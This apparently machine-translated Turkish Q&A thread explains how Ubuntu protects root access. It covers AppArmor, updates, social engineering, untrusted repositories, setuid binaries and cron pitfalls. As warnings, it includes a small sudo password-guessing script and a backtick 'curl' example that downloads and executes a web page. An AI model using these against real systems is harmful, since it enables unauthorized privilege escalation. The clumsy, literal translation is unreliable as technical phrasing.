Sistem nasıl güvende tutulur?

Herhangi bir kötü amaçlı yazılım Linux sistemine girerse, en çok kullanıcı düzeyinde bir ayrıcalık kazanacak ve belirli bir kullanıcının erişebileceği herhangi bir şeyi, yani kullanıcının kendi dosyalarını mahvedeceğini anlıyorum.

Ancak, kötü amaçlı yazılımların kök düzeyinde erişim kazanmasını engelleyen şey nedir? Bir şekilde şifreyi içeriden kıramaz mı?

Bu karmaşık bir sorudur. Bir Ubuntu sisteminde, AppArmor gibi karmaşık çerçevelerden mütevazi çekirdek değişkenlerine kadar birçok farklı güvenlik katmanı vardır mmap_min_addr. Karışımda hafıza rasgeleleştirme gibi bazı çekirdek özellikleri ekleyebilirsiniz. Ubuntu Wiki'de kısa bir açıklama ile birlikte bunların bir listesini bulabilirsiniz .

Bir diğer önemli faktör, güncellemelerin hem hızlı hem de kolay olmasıdır - bu nedenle çoğu bilgisayar en son güvenlik düzeltmeleriyle güncellenir.

Bildiğim kadarıyla, bilgisayarınıza yerel erişim sağlayan bir saldırganın çekirdek ayrıcalıklarını ölçeklendirmenin üç yolu vardır:

1. Şifreyi kır. Ancak bu gerçekten zor olacak, şifre bilinen bir kusur olmayan algoritmalar kullanarak şifreli olarak saklanır. Kırması çok uzun zaman alacak.

2. Çekirdekte böcek. Ancak çekirdeğin tüm güvenlik özellikleri ön plana çıkacaktır.

3. Şifreyi, yani sosyal mühendisliği vermesi için kullanıcıyı kandırın. Sadece sahte bir şifre diyalogu göster ya da başka bir numara kullan. Bunu yapmanın en kolay yolu bu.

Üçüncü nokta şu anda en zayıf güvenlik açığıdır.

Root şifresini kırmak mümkün değildir, çünkü Ubuntu varsayılan olarak root kullanıcısını devre dışı bırakmıştır. Bununla birlikte, kullanıcınız sudo ile kökleşebilirse ve şifrenizin tahmin edilmesi kolay / kaba kuvvet varsa, güvensiz bir sisteme sahipsiniz demektir. Bazı şifreleri test etmeye çalışan örnek komut dosyası:

#!/bin/sh
for pass in password 123 ubuntu pass; do
    echo $pass|sudo -S evil_command
done

Güvenilmeyen bir havuz eklemek, bu havuzdaki programların kurulmasına izin verir. Açıkça benzeri bir uygulama sudo apt-get install [app-from-repo]kurmasanız bile, depo Ubuntu'nun havuzun belirli bir programın daha yeni bir sürümünü içerdiğine inanmasını sağlayarak diğer programları etkileyebilir.

Güncelleme işlemi root olarak çalıştırılır, aksi takdirde dosyalar /usr/binveya yazamadı /etc. Bir yükleme tetikleyicisi de root olarak çalıştırılır ve keyfi ve muhtemelen zararlı komutlar çalıştırabilir. Artık endişelenmeyin, programları güncellemek için manuel işlem gerekir ve Ubuntu depoları güvenlidir. Windows gibi kapalı kaynaklı yazılımlara hiçbir zaman tam olarak güvenilemez, çünkü kaynağı kötü amaçlı kod için kontrol edemezsiniz, ancak gerektiğinde (örneğin, sun-java6Flash veya benzeri özel programlar için geçerli değildir) Ubuntu uygulamasının kaynağını inceleyebilirsiniz .

Javier Rivera tarafından belirtildiği gibi, çekirdek hataları rasgele kod yürütülmesine neden olabilir, ancak bugged yazılımlar muhtemelen tehlikelidir, özellikle buggy setsuidroot ikili dosyaları (dosya sahibi, root altında çalışacak olan ikili dosyalar) ve root olarak çalışan diğer buggy programları.

Yaptığınız şeye dikkat etmezseniz, sisteminizde güvenlik delikleri oluşturabilirsiniz. Örneğin, cronjobs kavramını tam olarak anlamadan, /etc/cron.dailyana klasörünüzde bir program çalıştıran bir cronjob eklediniz (örn.. /bin/sh /home/your-username/myscript.shEğer myscript.sh dosyası sizin tarafınızdan yazılabilirse, bir istismar kötü niyetli olabilir) myscript.shroot olarak çalıştırılacak olan kod (ayrıcalık yükselmesi).

Güvende kalmak için aklını kullan! Ne yaptığını bilmiyorsanız, güvenilmeyen kaynaklardan gelen komutları çalıştırmayın. Birisi `curl 3221233674`sırt keneleri ile koş diyorsa , yapma. 3221233674 yazmanın başka bir yoludur 192.0.32.10(example.com'un IP adresi). Yani, eşit olacaktır:

`curl http://example.com/`

Bu geri tıklamalar çıktının kabuk komutları olarak yürütülmesine neden olur. Düz İngilizce olarak, " http://example.com/ sayfasını indirin ve indirilen sayfayı çalıştırmayı deneyin".

İlk başta, verilen komutta kötü amaçlı bir şey göremezsiniz. Ama şimdi, onun da kötüye kullanılabileceğini biliyorsun.

Internet gibi güvenilmeyen kaynaklardan aldığınız komutları / komut dosyalarını her zaman kontrol edin.